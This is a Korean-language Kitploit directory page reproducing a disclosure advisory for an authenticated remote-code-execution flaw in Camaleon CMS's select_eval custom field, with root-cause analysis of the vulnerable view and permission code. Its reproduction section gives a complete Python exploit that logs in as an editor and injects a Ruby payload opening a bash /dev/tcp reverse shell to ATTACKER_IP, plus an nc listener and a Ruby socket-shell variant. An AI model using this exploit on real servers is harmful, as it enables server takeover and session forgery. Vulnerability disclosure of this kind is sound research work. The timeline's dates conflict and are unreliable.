Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — 보안 권고: Camaleon CMS - `select_eval` 사용자 정의 필드를 통한 인증된 RCE | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchPayload Development
GitHubtheopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

보안 권고: Camaleon CMS - `select_eval` 사용자 정의 필드를 통한 인증된 RCE

저장소 보기
22일 전아직 검토되지 않음

보안 권고: Camaleon CMS - select_eval 사용자 정의 필드를 통한 인증된 RCE

지정 CVE ID: CVE-2026-66748

제품: Camaleon CMS (https://github.com/owen2345/camaleon-cms) 영향을 받는 버전: 2.1.1 – 2.9.1 (커밋 415cbda6 2015-10-16에서 도입; 커밋 15882366 2026-03-29 / v2.9.2에서 수정) 심각도: 높음 CVSS 4.0 점수: 8.7 CVSS 4.0 벡터: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CWE: CWE-94 (코드 주입) 연구자: Theodosis Paidakis 벤더 통지: 2026-06-21 관련 권고: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - 동일한 근본 원인을 가진 병렬 필드 유형, CVE 미할당)

요약

select_eval 사용자 정의 필드 유형은 임의의 Ruby 표현식을 field.options[:command]에 저장하고, 게시물 편집 페이지가 렌더링될 때마다 ERB 뷰에서 instance_eval을 통해 이를 실행합니다. v2.9.2 이전에는 custom_fields 관리 권한(일반적으로 편집자 역할 계정에 부여됨)을 가진 모든 사용자가 이 필드 유형을 생성하고 서버 측 RCE를 달성할 수 있었습니다. select_eval 필드는 해당 필드 그룹을 사용하는 모든 게시물의 모든 페이지 렌더링 시 실행되며, 그 출력이 드롭다운 옵션 목록이 됩니다. 이 취약점은 v2.9.2에서 패치되었습니다.

영향을 받는 구성 요소

파일: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb

root@kitploit:~
<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>

instance_eval은 데이터베이스 레코드의 원시 문자열로 호출됩니다. 샌드박싱이 없으며 ERB 바인딩(전체 Rails 뷰 컨텍스트)에서 접근할 수 있는 메서드나 상수에 대한 컴파일 타임 제한이 없습니다.

파일: app/models/camaleon_cms/ability.rb (v2.9.1, 161-165행)

custom_fields는 명시적으로 부여되지 않습니다. 파일 앞부분에서 8개의 리소스가 개별적으로 can :manage를 받으며(media, comments, themes, widgets, nav_menu, plugins, users, settings), custom_fields는 그 중 하나가 아닙니다. 이는 오직 아래의 catch-all을 통해서만 도달 가능하며, 이 코드는 해당 키를 부여해도 안전한지 확인하지 않고 역할의 @roles_manager 해시에 존재하는 모든 키에 manage를 부여합니다:

root@kitploit:~
@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end

따라서 역할에 custom_fields 비트가 설정된 모든 사용자는 사용자 정의 필드 컨트롤러에 도달할 수 있습니다. 영향을 받는 범위에서 이 비트는 일반적으로 편집자 수준 역할에 부여됩니다.

v2.9.2 재작성은 can을 safe_can 래퍼로 대체하고 custom_fields와 select_eval을 모두 포함하는 명시적 %i[...] 목록을 추가하지만, 위의 catch-all 루프는 해당 버전에도 여전히 존재합니다. 권한 목록이 이 문제를 수정하는 것이 아닙니다. 수정하는 것은 custom_fields_controller.rb의 strong-parameters 허용 목록과 custom_field_group.rb의 can?(:manage, :select_eval) 게이트입니다.

근본 원인 분석

select_eval 필드 유형은 개발자가 CMS 데이터베이스에 저장된 Ruby 코드에서 선택 드롭다운을 동적으로 채울 수 있도록 설계되었습니다. instance_eval을 통해 데이터베이스 열에서 임의의 Ruby를 실행하는 것은 해당 값을 쓸 수 있는 모든 사람에게 셸 접근 권한을 부여하는 것과 같습니다. 권한 요구 사항은 명시적 권한 비트가 아닌 일상적인 콘텐츠 관리 권한인 custom_fields였습니다.

이전 권고와의 관계

이 발견은 Camaleon CMS의 병렬 label_eval 필드 유형을 다루는 GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9로 게시되었습니다. 해당 권고는 5건의 발견(GHSL-2024-182 ~ GHSL-2024-186) 배치의 일부였으며, 5건 중 2건만 CVE 번호(CVE-2024-46986 및 CVE-2024-46987)를 받았습니다. GHSL-2024-185 자체에는 CVE가 할당되지 않았습니다.

select_eval과 label_eval은 동일한 근본 원인 - ERB 뷰에서 instance_eval을 통해 실행되는 데이터베이스에 저장된 임의의 Ruby - 을 공유하지만 다른 모든 측면에서는 구별됩니다:

label_eval (GHSL-2024-185)select_eval (본 보고서)
실행 위치모든 폼의 필드 레이블게시물 편집 페이지의 select_tag
쓰기 경로사용자 정의 필드 레이블 텍스트field.options[:command] 메타 행

본 보고서는 select_eval만 다룹니다. 이 특정 필드 유형과 그 악용 경로를 문서화한 기존 CVE나 공개 권고는 없습니다.

재현 단계

영향을 받는 범위 v2.1.1 ~ v2.9.1은 소스 분석으로 확인되었으며, 악용은 v2.9.1에서 종단 간 확인되었습니다. 서버 접근 권한 없이 custom_fields 권한이 있는 계정만 필요합니다.

전제 조건: custom_fields 관리 비트가 설정된 모든 계정 - 영향을 받는 범위에서 표준 편집자 역할 권한.

1단계. 리스너 시작:

root@kitploit:~
nc -lnvp 4444

2단계. 스크립트 실행. BASE, ATTACKER_IP, TYPE_ID, POST_ID 및 자격 증명을 편집하십시오.

TYPE_ID - 관리자 사이드바 URL에 표시되는 게시물 유형 ID (예: /admin/post_type/2/posts). POST_ID - 게시물 목록의 편집 링크에 있는 해당 유형의 모든 게시물 ID.

root@kitploit:~
import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
image

영향

custom_fields 권한(v2.9.2 이전)이 있는 모든 계정은 다음을 얻습니다:

  • 임의의 Ruby 실행: Rails 프로세스에서 웹 서버 사용자(deploy, www-data, rails 등)의 권한으로 실행
  • 지속적 실행: 페이로드는 해당 필드 그룹을 사용하는 모든 게시물의 모든 페이지 렌더링 시 실행됩니다 - 일회성 악용이 아님
  • 세션 위조: config/secrets.yml에서 secret_key_base를 읽으면 관리자를 포함한 모든 사용자의 임의 세션 쿠키를 위조할 수 있습니다
  • 다중 사이트 영향: 공유 Camaleon 인스턴스에서 Rails 프로세스는 모든 사이트의 데이터에 접근할 수 있습니다

v2.9.2 이전에는 custom_fields 권한이 일반적으로 편집자 역할 사용자에게 부여되었습니다. 모든 편집자 수준 계정을 탈취한 공격자는 전체 서버 측 RCE를 달성합니다.

타임라인

2026-06-19 - v2.9.2 및 v2.9.1 소스 분석 중 발견 2026-06-21 - 벤더 통지 2026-03-29 - 패치 이미 릴리스됨 (v2.9.2, 커밋 15882366)

도구 다운로드